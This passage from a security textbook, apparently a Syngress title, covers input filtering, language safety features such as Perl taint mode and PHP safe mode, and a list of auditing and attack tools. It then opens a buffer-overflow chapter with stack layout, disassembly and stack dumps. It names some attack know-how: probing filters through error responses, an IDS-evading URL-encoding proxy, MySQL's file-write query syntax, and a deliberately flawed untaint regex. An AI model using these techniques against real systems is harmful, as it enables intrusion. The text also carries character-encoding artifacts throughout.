that you are always safe&iexcl;Xsome databases may interpret characters found within
the data portion as commands. For instance,Microsoft&iexcl;&brvbar;s Jet engine prior to version
4.0 allowed for embedded VBA commands to be embedded within data
(properly quoted or otherwise).
www.syngress.com
232 Chapter 7 &iexcl;E Unexpected Input
Silently Removing versus Alerting on Bad Data
When dealing with incoming user data, you have two choices: remove the bad
characters, save the good characters, and continue processing on what&iexcl;&brvbar;s left over;
or immediately stop and alert to invalid input. Each approach has pros and cons.
An application that alerts the user that he submitted bad data allows the
attacker to use the application as an &iexcl;§oracle&iexcl;&uml;&iexcl;Xthe attacked can quickly determine
which characters the application is looking for by submitting them one at a
time and observing the results. I have personally found this technique to be very
useful for determining vulnerabilities in custom applications where I do not have
access to the source code.
Silently filtering the data to include only safe characters yields some different
problems. First, make no mistake, data is being changed.This can prove to be an
issue if the integrity of the submitted data must be exact (such as with passwords&iexcl;X
removing characters, even if systematically, can produce problems when
the password needs to be retrieved and used).The application can still serve as an
oracle if it prints the submitted data after it has been filtered (thus, the attacker
can still see what is being removed in the query).
The proper solution is really dependent on the particular application. I would
recommend a combination of both approaches, depending on the type and
integrity needed for each type of data submitted.
Invalid Input Function
Centralizing a common function to be used to report invalid data will make it
easier for you to monitor unexpected data. Knowing if users are indeed trying to
submit characters that your application filters is invaluable, and even more importantly,
knowing when and how an attacker is trying to subvert your application
logic.Therefore, I recommend a centralized function for use when reporting
unexpected data violations.
A central function is a convenient place to monitor your violations and put
that information to good use.Minimally you should log the unexpected data, and
determine why it was a violation and if it was a casual mistake (user entering a
bad character) or a directed attack (attacker trying to take advantage of your
application).You can collect this information and provide statistical analysis
(&iexcl;§input profiling&iexcl;&uml, where you determine, on average, what type of characters are
expected to be received; therefore, tuning your filters with greater accuracy.
www.syngress.com
Unexpected Input &iexcl;E Chapter 7 233
When first implementing an application, you should log character violations.
After a period of time, you should determine if your filters should be adjusted
according to previous violations.Then you can modify your violation function to
perform another task, or simply return, without having to alter your whole application.
The violation function gives you a centralized way to deal with data violations.
You can even have the violation function print an invalid input alert and
abort the application.
Token Substitution
Token substitution is the trick where you substitute a token (typically a large,
random session key), which is used to correlate sensitive data.This way, rather
than sending the sensitive data to the client to maintain state, you just send the
token.The token serves as a reference to the correct sensitive data, and limits the
potential of exploitation to just your application. Note, however, that if you use
token values, they must be large and random; otherwise, an attacker could possibly
guess another user&iexcl;&brvbar;s token, and therefore gain access to that user&iexcl;&brvbar;s private
information.This is very similar to designing a good HTTP cookie.
Utilizing the Available Safety Features
in Your Programming Language
Combating unexpected user data is not a new thing&iexcl;Xin fact, many programming
languages and applications already have features that allow you to reduce or minimize
the risks of tainted data vulnerabilities. Many of the features use the sandbox
concept of keeping the tainted data quarantined until it is properly reviewed and
cleaned. A few of the more popular language features follow.
Perl
Perl has a &iexcl;§taint&iexcl;&uml; mode, which is enabled with the &iexcl;VT command-line switch.
When running in taint mode, Perl will warn of situations where you directly pass
user data into one of the following commands: bind, chdir, chmod, chown, chroot, connect,
eval, exec, fcntl, glob, ioctl, kill, link, mkdir, require, rmdir, setpgrp, setpriority, socket,
socketpair, symlink, syscall, system, truncate, umask, unlink, as well as the &iexcl;Vs switch and
backticks.
Passing tainted data to a system function will result in Perl refusing to execute
your script with the following message: Insecure dependency in system while running
with -T switch at (script) line xx.
www.syngress.com
234 Chapter 7 &iexcl;E Unexpected Input
To &iexcl;§untaint&iexcl;&uml; incoming user data, you must use Perl&iexcl;&brvbar;s matching regex (m///) to
verify that the data matches your expectations.The following example verifies
that the incoming user data is lowercase letters only:
#!/usr/bin/perl -T
# must setup a secure environment (system/OS dependant)
$ENV{PATH}="/bin";
delete $ENV{ENV};
delete $ENV{BASH_ENV};
# this is tainted
$echo=$ARGV[0];
# check to see if it's only lower-case letters
if ($echo =~/^([a-z]+)$/) {
# we resave the command...
$echo=$1;
# ...and use it in a system function
system("/bin/echo $echo");
} else {
print "Sorry, you gave unexpected data\n";
}
The most important part of this code is the testing of the incoming data:
If ($echo =~ /^([a-z]+)$/) {
$echo = $1;
This regex requires that the entire incoming string (the ^ and $ force this)
have only lowercase letters ([a-z]), and at least one letter (the + after [a-z]).
When untainting variables, you must be careful that you are indeed limiting
the data. Note the following untaint code:
if ($data =~ /^(.*)$/) {
$data = $1;
www.syngress.com
Unexpected Input &iexcl;E Chapter 7 235
This is wrong; the regex will match anything, therefore not limiting the
incoming data&iexcl;Xin the end it serves only as a shortcut to bypass Perl&iexcl;&brvbar;s taint safety
checks.
PHP
PHP includes a &iexcl;§safe_mode&iexcl;&uml; configuration option that limits the uses of PHP&iexcl;&brvbar;s
system functions. Although it doesn&iexcl;&brvbar;t directly help you untaint incoming user
data, it will serve as a safety net should an attacker find a way to bypass your taint
checks.
When safe mode is enabled, PHP limits the following functions to only be
able to access files owned by the user ID (UID) of PHP (which is typically the
UID of the Web server), or files in a directory owned by the PHP UID: include,
readfile, fopen, file, link, unlink, symlink, rename, rmdir, chmod, chown, and chgrp.
Further, PHP limits the use of exec, system, passthru, and popen to only be able
to run applications contained in PHP_SAFE_MODE_EXEC_DIR directory
(which is defined in php.h when PHP is compiled). Mysql_Connect is limited to
only allow database connections as either the UID of the Web server or UID of
the currently running script.
Finally, PHP modifies how it handles HTTP-based authentication to prevent
various spoofing tricks (which is more of a problem with systems that contain
many virtually hosted Web sites).
ColdFusion/ColdFusion Markup Language
ColdFusion features integrated sandbox functionality in its Advanced Security
configuration menu that you can use to limit the scope of system functions
should an attacker find a way to bypass your application checks.You can define
systemwide or user-specific policies and limit individual CFML tags in various
ways. Examples of setting up policies and sandboxes are available at the following
URLs:
 http://www.allaire.com/Handlers/inde...45&Method=Full
 http://www.allaire.com/Handlers/inde...85&Method=Full
www.syngress.com
236 Chapter 7 &iexcl;E Unexpected Input
ASP
Luckily,ASP (VBScript and JScript) does not contain many system-related functions
to begin with. In fact, file-system functions are all that are available (by
default).
ASP does contain a configuration switch that disallows &iexcl;§../&iexcl;&uml; notation to be
used in file-system functions, which limits the possibility of an attacker gaining
access to a file not found under the root Web directory.To disable parent paths,
you need to open up the Microsoft Management Console (configuration console
for IIS), select the target Web site, go to Properties | Home Directory |
Configuration | Application Options, and uncheck Enable Parent Paths,
as shown in Figure 7.3.
If you do not need file-system support in your ASP documents, you can
remove it all together by unregistering the File System Object by running the
following command at a console command prompt:
regsvr32 scrrun.dll /u
www.syngress.com
Figure 7.3 Disabling Parent Paths Prevents an Attacker from Using &iexcl;§..&iexcl;&uml;
Directory Notation to Gain Access to Files Not in Your Web Root
Unexpected Input &iexcl;E Chapter 7 237
MySQL
The MySQL database contains the ability to read data in from or out to files
during queries using the following syntax in a query:
SELECT * INTO FILE "/file/to/save.db" FROM table
You can limit this behavior by not granting &iexcl;§file&iexcl;&uml; permissions to any users in
MySQL&iexcl;&brvbar;s built-in privilege table.
Using Tools to Handle Unexpected Data
Many tools out deal with unexpected data input. Some of these tools are helpful
to programmers to fix their code, and others are helpful to attackers or consultants
looking to find problems&iexcl;Xbecause there are so many, I will list only a few
of the more popular ones to get you started.
Web Sleuth
Web Sleuth is a Windows tool that allows the user to modify and tamper with
various aspects of HTTP requests and HTML forms.Written by Dave Zimmer,
Web Sleuth actually uses Internet Explorer at its core, and then adds additional
features. As of this writing, the recent version of Web Sleuth has become extensible
via plug-ins.The currently available plug-ins include HTTP session brute
force guessing,Web site crawling, and SQL injection/tampering testing.Web
Sleuth is freely available from http://geocities.com/dizzie/sleuth.
CGIAudit
CGIAudit is an automated CGI black box tool, which takes a user-supplied
HTML form definition and methodically tests each form element for common
vulnerabilities, which include buffer overflows, metacharacter execution, and SQL
tampering. It also includes a Web spider, and has proxy support. CGIAudit is
written in C, and is available for download at www.innu.org/~super.
RATS
RATS, the Rough Auditing Tool for Security, is a source code review tool that
understands C, C++, Python, Perl, and PHP. Basically RATS will review a program&iexcl;&brvbar;s
source code and alert to any potentially dangerous situations, including
static buffers or insecure functions. Although it doesn&iexcl;&brvbar;t find problems outright, it
www.syngress.com
238 Chapter 7 &iexcl;E Unexpected Input
does help reduce the potential for security vulnerabilities. RATS is freely available
in the projects section at www.securesw.com/rats.
Flawfinder
Flawfinder is a python script similar in function to RATS, except Flawfinder is
limited to C code. Flawfinder&iexcl;&brvbar;s creator, David Wheeler, mentions that Flawfinder
does recognize a few problem areas that RATS does not, but his eventual goal is
to merge with RATS. Until then, you can get Flawfinder for free from
www.dhwheeler.com/flawfinder.
Retina
eEye&iexcl;&brvbar;s Retina commercial vulnerability scanner also includes a feature that allows
the user to scan for new vulnerabilities in software applications. It has what&iexcl;&brvbar;s
called Common Hacking Attack Methods (CHAM), which has been dubbed an
&iexcl;§artificial intelligence.&iexcl;&uml; Basically Retina&iexcl;&brvbar;s CHAM automates some of the tedious
work of looking for buffer overflows and similar problems in network-accessible
services. Retina is commercially available from www.eeye.com.
Hailstorm
Hailstorm is branded as a &iexcl;§fault injection tool&iexcl;&uml;, and is similar to Retina&iexcl;&brvbar;s CHAM
but with many more features. Hailstorm features a suite of tools and an internal
scripting engine (based on Perl) that allows someone to create all kinds of
anomaly tests to throw against an application. Hailstorm is practically unlimited
in its potential to find bugs, but it does require a little know-how in the art of
bug hunting. Hailstorm is commercially available from www.clicktosecure.com.
Pudding
Pudding is a HTTP proxy by Roelef Temmingh written in Perl. It adds various
HTTP URL encoding tricks to any requests passing through it (which could
originate from a user&iexcl;&brvbar;s Web browser or a Web assessment tool). One of the more
popular encoding methods is UTF-8/Unicode encoding.The purpose of
Pudding is to potentially bypass intrusion detection systems. Pudding is freely
available from www.securityfocus.com/tools/1960.
www.syngress.com
Unexpected Input &iexcl;E Chapter 7 239
Summary
Security problems fundamentally are due to the fact that an attacker is doing
something unexpected to the application to circumvent security restrictions,
logic, and so on. A buffer overflow is sending more data than expected; an
appended SQL query is sending extra SQL commands. Unfortunately, many
applications are not even at the first stage: filtering out &iexcl;§bad data.&iexcl;&uml; Kudos for
those that are; however, filtering data allows you to win some of the battles, but it
does not give you an upper hand in the entire war.To realistically make an application
robustly secure, the focus must be shifted from &iexcl;§removing the bad&iexcl;&uml; to
&iexcl;§keeping the good.&iexcl;&uml;Only then can your applications withstand volumes of bad,
tainted, or otherwise unexpected data.
Unexpected data can plague any application, from command-line programs to
online Web CGIs.Areas such as authentication, data comparison, and SQL query
formation tend to be vulnerable as well. In order to determine if an application is
vulnerable, you can take a black-box approach of just trying (some would call it
&iexcl;§guessing&iexcl;&uml different various tricks and analyzing the application&iexcl;&brvbar;s response.
However, a more thorough approach is to have a code review, where the source
code of the applications is scrutinized for problems.
Fortunately, the battle against unexpected data is not one that you have to do
on your own. Many of the common programming languages, such as Perl,
CFML, and PHP, include features that are meant to help deal with tainted user
data. Plus many tools are available that do everything from analyzing your source
code for vulnerable areas to giving you a helping hand at black-boxing your
application.
In the end, one thing is for certain: Unexpected data is a serious problem, and
programmers need to be weary of how to have their applications correctly handle
situations where malicious data is received.
Solutions Fast Track
Understanding Why Unexpected Data Is Dangerous
Almost all applications interact with the user, and thus take data from
them.
An application can&iexcl;&brvbar;t assume that the user is playing by the rules.
www.syngress.com
240 Chapter 7 &iexcl;E Unexpected Input
The application has to be wary of buffer overflows, logic alteration, and
the validity of data passed to system functions.
Handling Situations Involving Unexpected Data
Any application that interacts with a user or another (untrusted)
application can result in unexpected data.These situations commonly
involve the following:
 Local UNIX suid/sgid applications
 Hypertext Transfer Protocol (HTTP) servers and other Web-based
application technologies
 SQL queries
 Application authentication
 Data disguise (anti-intrusion detection system [IDS] approaches)
Techniques to Find and Eliminate Vulnerabilities
Black-boxing and source code reviews can reveal distinct vulnerabilities,
and they are the main avenues for finding potential problems.
You can combat unexpected data with proper filtering and escaping of
characters. Many languages (such as Perl, CFML,ASP, PHP, and even
SQL APIs) provide mechanisms to do this.
A few programming tricks, such as token substitution, centralized
filtering functions, and the silent removal of bad data are more ways to
help combat unexpected data.
Utilizing the Available Safety Features
in Your Programming Language
Many languages provide extra features that could help an application
better secure itself against unexpected data.
Configuration options such as Perl&iexcl;&brvbar;s taint mode, PHP&iexcl;&brvbar;s safe mode, and
CFML&iexcl;&brvbar;s application security sandboxes can keep unexpected data from
doing bad things.
www.syngress.com
Unexpected Input &iexcl;E Chapter 7 241
Server configurations, such as IIS&iexcl;&brvbar;s &iexcl;§disable parent paths&iexcl;&uml; option, can
keep your applications from accessing files outside the Web files
directory.
Using MySQL&iexcl;&brvbar;s various user/query permissions can keep queries from
performing functions they normally shouldn&iexcl;&brvbar;t be allowed to do (like
accessing files).
Using Tools to Handle Unexpected Data
Web Sleuth is used to interact and exploit Web applications, by
providing various tools capable of bending and breaking the HTTP
protocol. CGIAudit attempts to exploit some of the more common
Common Gateway Interface (CGI) problems automatically.
RATS and Flawfinder review source code, looking for potential problem
areas.
Retina and Hailstorm are commercial tools used to methodically probe
and poke at a network application to identify problems and their
exploitability.
The Pudding proxy disguises HTTP requests using various forms of
URL encoding, including overlong Unicode/UTF-8.
www.syngress.com
242 Chapter 7 &iexcl;E Unexpected Input
Q: Exactly which data should I filter, and which is safe to not worry about?
A: All incoming data should be filtered. No exceptions. Do not assume that any
incoming data is safe. Realistically, the small amount of code and processing
time required to filter incoming data is so trivial that it&iexcl;&brvbar;s silly if you don&iexcl;&brvbar;t
filter the data.
Q: Which language is the safest?
A: There is no right answer to this question. Although Perl and PHP have the
nice built-in feature of auto-allocating memory to accommodate any quantity
of incoming data, they are limited in scalability because they are interpreted.
C/C++ requires you to take additional steps for security, but it compiles to
executable code, which tends to be faster and more scalable.What you decide
should be based on the required needs of the application, as well as the skills
of the developers working on it.
Q: Where can I find more information on how to audit the source code of an
application?
A: The Syngress book Hack Proofing Your Web Applications contains many hints,
tips, tricks, and guidelines for reviewing your application for problems.

[mic64]

Chapter 8 &iexcl;E Buffer Overflow
Introduction
Buffer overflows make up one of the largest collections of vulnerabilities in existence;
And a large percentage of possible remote exploits are of the overflow
variety. If executed properly, an overflow vulnerability will allow an attacker to
run arbitrary code on the victim&iexcl;&brvbar;s machine with the equivalent rights of
whichever process was overflowed.This is often used to provide a remote shell
onto the victim machine, which can be used for further exploitation.
A buffer overflow is an unexpected behavior that exists in certain programming
languages. In this chapter, we explain in detail why these problems exist,
how to spot when an overflow vulnerability is present, and how to write an
exploit to take advantage of it.
This chapter is split into two parts; a beginner&iexcl;&brvbar;s section and an advanced section.
If you&iexcl;&brvbar;ve seen buffer overflows before and you understand how they work,
then you can probably skip the beginner&iexcl;&brvbar;s section. However, we recommend that
all readers have a look at the advanced section. Some of these advanced techniques
have come into use in the wild, appearing in the Code Red worm, for
example.
Understanding the Stack
Stacks are an abstract data type known as last in, first out (LIFO).They operate
much like a stack of lunch trays in an average cafeteria. For example, if you put a
tray down on top of the stack, it will be the first tray someone else will pick up.
Stacks are implemented using processor internals designed to facilitate their use
(such as the ESP and EBP registers).
NOTE
All examples here are compiled using VC++ 6 SP5 on Windows 2000
(msdn.microsoft.com) unless otherwise specified. For compiled code, we
are using Release builds with all optimizations turned off to make things
cleaner and more simple. Disassemblies are done using IDA pro 4.18
(www.datarescue.com). All code assumes you are using a standard x86
chipset.
www.syngress.com
www.syngress.com
The stack is a mechanism that computers use both to pass arguments to functions
and to reference local function variables. Its purpose is to give programmers
an easy way to access local data in a specific function, and to pass information
from the function&iexcl;&brvbar;s caller. Basically it acts like a buffer, holding all of the information
that the function needs.The stack is created at the beginning of a function
and released at the end of it. Stacks are typically static, meaning that once they are
set up in the beginning of a function, they really don&iexcl;&brvbar;t change &iexcl;X the data held in
the stack may change, but the stack itself typically does not.
Stacks on Intel x86 processors are considered to be inverted.This means that
lower memory addresses are considered to be on the &iexcl;§top&iexcl;&uml; of the stack; push operations
move the stack pointer lower, while pop operations move it higher.This
means that new data tends to be at lower memory addresses than old data.This
fact is part of the reason that buffer overflows can happen; as overwriting a buffer
from a lower address to a higher address means that you can overwrite what
should be in the higher addresses, like a saved Extended Instruction Pointer (EIP).
Buffer Overflow &iexcl;E Chapter 8 245
Understanding Assembly Language
There are a few specific pieces of assembly language knowledge that are
necessary to understand the stack. One thing that is required is to
understand the normal usage of registers in a stack. Typically, there are
three pertinent registers to a stack.
 EIP The extended instruction pointer. This points to the code
that you are currently executing. When you call a function,
this gets saved on the stack for later use.
 ESP The extended stack pointer. This points to the current
position on the stack and allows things to be added and
removed from the stack using push and pop operations or
direct stack pointer manipulations.
 EBP The extended base pointer. This register should stay the
same throughout the lifetime of the function. It serves as a
static point for referencing stack-based information like variables
and data in a function using offsets. This almost always
points to the top of the stack for a function.
Damage & Defense&iexcl;K
246 Chapter 8 &iexcl;E Buffer Overflow
In the next few sections, we will examine how local variables are put on the
stack, then examine the use of the stack to pass arguments through to a function,
and finally, we&iexcl;&brvbar;ll look at how all of this adds up to allow an overflowed buffer to
take control of the machine and execute an attacker&iexcl;&brvbar;s code.
Most compilers insert what is known as a prologue at the beginning of a function.
In the prologue, the stack is set up for use by the function.This often involves
saving the EBP and setting EBP to point to the current stack pointer.This is
done so that the EBP now contains a pointer to the top of our stack.The EBP
register is then used to reference stack-based variables using offsets from the EBP.
Our first example is a simple program with a few local variables assigned to it.
We have attempted to comment profusely to make things clearer within the code.
The Code
This is a very simple program that does nothing but assign some values to some
variables (Figure 8.1).
Figure 8.1 How the Stack Operates
/* chapter 1 sample 1
This is a very simple program to explain how the stack operates
*/
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv)
{
char buffer[15]="Hello World"; /* a 15 byte character buffer */
int int1=1,int2=2; /* 2 4 byte integers */
return 1;
}
The code in Figure 8.1 is very straightforward. It basically creates three stack
variables: A 15-byte character buffer and two integer variables. It then assigns
values to these variables as part of the function initialization. Finally, it returns a
value of 1.The usefulness of such a simple program is apparent in examining how
our compiler took the C code and created the function and stack from it.We will
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 247
now examine the disassembly of the code to better understand what the compiler
did to create this. For our disassembly, it was compiled as a Windows Console
application, in Release mode.
Disassembly
This disassembly (Figure 8.2) shows how the compiler decided to implement the
relatively simple task of assigning a series of stack variables and initializing them.
Figure 8.2 Simple C Disassembly
_main proc near
buffer = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = word ptr -0Ch
var_A = byte ptr -0Ah
int2 = dword ptr -8
int1 = dword ptr -4
;function prologue
push EBP
mov EBP, ESP
sub ESP, 18h
;set up preinititalized data in buffer
mov EAX, dword_407030
mov [EBP+buffer], EAX
mov ECX, dword_407034
mov [EBP+var_14], ECX
mov EDX, dword_407038
mov [EBP+var_10], EDX
xor EAX, EAX
mov [EBP+var_C], ax
mov [EBP+var_A], al
;set up preinitialized data in int1
mov [EBP+int1], 1
www.syngress.com
Continued
248 Chapter 8 &iexcl;E Buffer Overflow
;set up preinitialized data in int2
mov [EBP+int2], 2
;put the return value in EAX
mov EAX, 1
;function epilogue
mov ESP, EBP
pop EBP
retn
_main endp
As you can see in the function prologue of Figure 8.2, the old EBP is saved
on the stack, and then the current EBP is overwritten by the address of our current
stack.The purpose of this is that each function can get their own stack to
use. Most, if not all functions perform this operation and the associated epilogue,
which should be the exact reverse set of operations as the prologue.
The Stack Dump
Now, to show you what the stack looks like, we have issued a debugging breakpoint
right after the stack is initialized.This allows us to see what the clean stack
looks like, and to offer us an insight into what goes where in this code (see
Figure 8.3).
Figure 8.3 The Stack after Initialization
0012FF68 48 65 6C 6C Hell ;this is buffer
0012FF6C 6F 20 57 6F o Wo
0012FF70 72 6C 64 00 rld.
0012FF74 00 00 00 00 ....
0012FF78 02 00 00 00 .... ;this is int2
0012FF7C 01 00 00 00 .... ;this is int1
The &iexcl;§Hello World&iexcl;&uml; buffer is 16 bytes large, and each assigned integer is 4
bytes large.The numbers on the left of the hex dump are specific to this compile,
and Windows rarely uses static stack addresses.This will be addressed further
when we go over exploiting buffer overflows using jump points. One thing you
www.syngress.com
Figure 8.2 Continued
Buffer Overflow &iexcl;E Chapter 8 249
must keep in mind is that most compilers align the stack to 4-byte boundaries.
This means that in Figure 8.1, 16 bytes are allocated by the compiler although
only 15 bytes were requested in the code.This keeps everything aligned on 4-
byte boundaries, which is imperative for processor performance, and many calls
assume that this is the case.
Oddities and the Stack
There are many conditions that can change how the stack may look after initialization.
Compiler options can adjust the size and alignment of supplied stacks,
and optimizations can seriously change how the stack is created and accessed.
As part of the prologue, some functions issue a push of some of the registers
on the stack.This is optional and compiler- and function-dependant.The code can
issue a series of individual pushes of specific registers or a pusha, which pushes all
of the registers at once.This may adjust some of the stack sizes and offsets.
Many modern C and C++ compilers will attempt to optimize code.There
are numerous techniques to do this, and some of them may have a direct impact
on the use of the stack and stack variables. For instance, one of the more
common modern compiler optimizations is to forego using EBP as a reference
into the stack, and to use direct ESP offsets.This can get pretty complex, but it
frees an additional register for use in writing faster code.Another example where
compilers may cause issues with the stack is if they force new temporary variables
onto it.This will adjust offsets. Sometimes this happens in order to speed up
some loops or for other reasons that the compiler decides are pertinent.
One final issue that must be explained about compilers in relation to the
stack is that there is a newer breed of stack protection compilers. Crispin Cowen&iexcl;&brvbar;s
Immunix (www.immunix.com) project is based on such technology. It uses a
modified GCC C compiler to generate new types of code that make it more dif-
ficult to cause direct EIP overflows.Typically, they use a technique called canary
values, where an additional value is placed on the stack in the prologue and
checked for integrity in the epilogue.This ensures that the stack has not been
completely violated to the point that the stored EIP or EBP value has been overwritten.
Understanding the Stack Frame
As was mentioned earlier, the stack serves two purposes.The purpose we&iexcl;&brvbar;ve
examined so far is the storage of variables and data that are local to a function.
Another purpose of the stack is to pass arguments into a called function.This part
www.syngress.com
250 Chapter 8 &iexcl;E Buffer Overflow
of the chapter will deal with how compilers pass arguments on to called functions
and how this affects the stack as a whole. In addition, it covers how the
stack is used for call and ret operations on the processor.
Introduction to the Stack Frame
A stack frame is the name given the entire stack of a given function, including all
of the passed arguments, the saved EIP and potentially any other saved registers,
and the local function variables. Previously we focused on the stack&iexcl;&brvbar;s use in
holding local variables, and now we will go into the &iexcl;§bigger picture&iexcl;&uml; of the stack.
To understand how the stack works in the real world, a little needs to be
explained about the Intel call and ret instructions.The call instruction is what
makes functions possible.The purpose of this instruction is to divert processor
control to a different part of code, while remembering where you need to return
to.To achieve this goal, a call operates like this:
1. Push next instruction after the call onto the stack. (This is where the
processor will return to after executing the function.)
2. Jump to the address specified by the call.
Conversely, the ret instruction does the opposite. Its purpose is to return from
a called function back to whatever was right after the call instruction.The ret
instruction operates like this:
1. Pop the stored return address off the stack.
2. Jump to the address popped off the stack.
This combination allows code to be jumped to, and returned from very easily.
However, due to the location of the saved EIP on the stack, this also makes it
possible to write a value there that will be popped off.This will be explained
after getting a better understanding of the stack frame and how it operates.
Passing Arguments to a
Function: A Sample Program
The sample program illustrated in this section shows how the stack frame is used
to pass arguments to a function.The code simply creates some stack variables, fills
them with values, and passes them to a function called callex.The callex function
simply takes the supplied arguments and prints them to the screen.
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 251
Figure 8.4 shows a program that explains how the stack is used in call and ret
operations, as well as how the stack frame is organized.
Figure 8.4 Sample Program Demonstrates How the Stack is Used in call and
ret Operations
/*
Chapter 8 &iexcl;V Sample 2
*/
#include <stdlib.h>
#include <stdio.h>
int callex(char *buffer, int int1, int int2)
{
/*This prints the inputted variables to the screen:*/
printf("%s %d %d\n",buffer,int1, int2);
return 1;
}
int main(int argc, char **argv)
{
char buffer[15]="Hello World"; /* a 10 byte character buffer */
int int1=1,int2=2; /* 2 4 byte integers */
callex(buffer,int1,int2); /*call our function*/
return 1; /*leaves the main func*/
}
The Disassembly
Figure 8.4 was also compiled as a console application in Release mode. Figure
8.5 shows a direct disassembly of the callex() and main() functions.This is to
demonstrate how a function looks after it has been compiled. Notice how the
buffer variable from main() is passed to callex by reference. In other words, callex
gets a pointer to buffer, rather than its own copy.This means that anything that is
www.syngress.com
252 Chapter 8 &iexcl;E Buffer Overflow
done to change buffer while in callex will also affect buffer in main, since they are
the same variable.
Figure 8.5 How a Function Looks after It Has Been Compiled
_callex proc near
buffer = dword ptr 8
int1 = dword ptr 0Ch
int2 = dword ptr 10h
;function prologue
push EBP
mov EBP, ESP
;push 4th argument to printf (int2)
mov EAX, [EBP+int2]
push EAX
;push 3rd argument to printf (int1)
mov ECX, [EBP+int1]
push ECX
;push 2nd argument to printf (buffer)
mov EDX, [EBP+buffer]
push EDX
;push 1st argument to printf (format string)
push offset aSDD ; "%s %d %d\n"
;call printf
call _printf
;clean up the stack after printf
add ESP, 10h
;set return value in EAX
mov EAX, 1
;function epilogue
pop EBP
;return to main()
retn
_callex endp
www.syngress.com
Continued
Buffer Overflow &iexcl;E Chapter 8 253
_main proc near
buffer = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = word ptr -0Ch
var_A = byte ptr -0Ah
int2 = dword ptr -8
int1 = dword ptr -4
;function prologue
push EBP
mov EBP, ESP
sub ESP, 18h
;load "Hello World" into buffer
mov EAX, dword_40703C
mov [EBP+buffer], EAX
mov ECX, dword_407040
mov [EBP+var_14], ECX
mov EDX, dword_407044
mov [EBP+var_10], EDX
xor EAX, EAX
mov [EBP+var_C], ax
mov [EBP+var_A], al
; load 1 into int1
mov [EBP+int1], 1
;load 2 into int2
mov [EBP+int2], 2
;push 3rd arg (int2) onto stack
mov ECX, [EBP+int2]
www.syngress.com
Figure 8.5 Continued
Continued
254 Chapter 8 &iexcl;E Buffer Overflow
push ECX
;push 2nd arg (int1) onto stack
mov EDX, [EBP+int1]
push EDX
;push 1st arg (buffer) onto stack
lea EAX, [EBP+buffer]
push EAX
;call callex (code is above)
call _callex
; clean up after callex
add ESP, 0Ch
;set return value in EAX
mov EAX, 1
;function epilogue
mov ESP, EBP
pop EBP
;return
retn
_main endp
The Stack Dumps
Figures 8.6 through 8.9 show what the stack looks like at various points during
the execution of this code. Use the stack dump&iexcl;&brvbar;s output along with the C source
and the disassembly to examine where things are going on the stack and why.
This will help you better understand how the stack frame operates.We will show
the stack at the pertinent parts of execution in the program.
Figure 8.6 shows a dump of the stack right after the variables have been initialized,
but before any calls and argument pushes have happened. It will describe
the &iexcl;§clean&iexcl;&uml; stack for this function.
www.syngress.com
Figure 8.5 Continued
Buffer Overflow &iexcl;E Chapter 8 255
Figure 8.6 Stack Frame after Variable Initialization in Main
0012FF68 48 65 6C 6C Hell ; buffer
0012FF6C 6F 20 57 6F o Wo
0012FF70 72 6C 64 00 rld.
0012FF74 00 00 00 00 ....
0012FF78 02 00 00 00 .... ; int2
0012FF7C 01 00 00 00 .... ; int1
0012FF80 C0 FF 12 00 Ay.. ; saved EBP for main
0012FF84 5C 11 40 00 \.@. ; saved EIP to return out of main
Next, three arguments are pushed onto the stack for the call to callex (see
Figure 8.7).
Figure 8.7 Stack Frame before Calling callex in Main
0012FF5C 68 FF 12 00 hy.. ; pushed buffer (arg1)
0012FF60 01 00 00 00 .... ; pushed int1 (arg2)
0012FF64 02 00 00 00 .... ; pushed int2 (arg3)
0012FF68 48 65 6C 6C Hell ; buffer
0012FF6C 6F 20 57 6F o Wo
0012FF70 72 6C 64 00 rld.
0012FF74 00 00 00 00 ....
0012FF78 02 00 00 00 .... ; int2
0012FF7C 01 00 00 00 .... ; int1
0012FF80 C0 FF 12 00 Ay.. ; saved EBP for main
0012FF84 5C 11 40 00 \.@. ; saved EIP to return out of main
You may notice some overlap here.This is because after main()&iexcl;&brvbar;s stack finished,
arguments issued to callex were pushed onto the stack. In the stack dump
in Figure 8.8, we have repeated the pushed arguments so that you can see how
they look to the function callex itself.
Figure 8.8 Stack Frame after Prologue, before the printf in callex
0012FF54 80 FF 12 00 y.. ; saved EBP for callex function
0012FF58 6B 10 40 00 k.@. ; saved EIP to return to main
0012FF5C 68 FF 12 00 hy.. ; buffer (input arg1)
www.syngress.com
Continued
256 Chapter 8 &iexcl;E Buffer Overflow
0012FF60 01 00 00 00 .... ; int1 (input arg2)
0012FF64 02 00 00 00 .... ; int2 (input arg3)
The stack is now initialized for the callex function. All we have to do is push
on the four arguments to printf then issue a call on it.
Finally, before the printf in callex, with all of the values pushed on the stack, it
looks like Figure 8.9.
Figure 8.9 All of the Values Pushed on the Stack, before the printf in callex
0012FF44 30 70 40 00 0p@. ; pushed format string (arg1)
0012FF48 68 FF 12 00 hy.. ; pushed buffer (arg2)
0012FF4C 01 00 00 00 .... ; pushed int1 (arg3)
0012FF50 02 00 00 00 .... ; pushed int2 (arg4)
0012FF54 80 FF 12 00 y.. ; saved EBP for callex function
0012FF58 6B 10 40 00 k.@. ; saved EIP to return to main
0012FF5C 68 FF 12 00 hy.. ; buffer (arg1)
0012FF60 01 00 00 00 .... ; int1 (arg2)
0012FF64 02 00 00 00 .... ; int2 (arg3)
This should give you a pretty solid understanding of the stack.This knowledge
will help when we go on to explain techniques used to overflow the stack.
Stack Frames and Calling Syntaxes
There are numerous ways that functions can be called, and it makes a difference
as to how the stack is laid out. Sometimes it is the caller&iexcl;&brvbar;s responsibility to clean
up the stack after the function returns, other times the called function handles
this.The type of call tells the compiler how to generate code, and it affects the
way we must look at the stack frame itself.
The most common calling syntax is C declaration syntax.A C-declared function
is one in which the arguments are passed to a function on the stack in
reverse order (with the first argument being pushed onto the stack last).This
makes things easier on the called function, because it can pop the first argument
off the stack first.When a function returns, it is up to the caller to clean up the
stack based on the number of arguments it pushed earlier.This allows a variable
number of arguments to be passed to a function, which is the default behavior
www.syngress.com
Figure 8.8 Continued
Buffer Overflow &iexcl;E Chapter 8 257
for MS Visual C/C++ generated code and the most widely-used calling syntax
on many other platforms.This is sometimes known as cdecl calling syntax.A function
that uses this call syntax is printf(), because a variable number of arguments
can be passed to the printf function and printf handles them. After that, the caller
cleans up after itself.
The next most common calling syntax is the standard call syntax. Like the
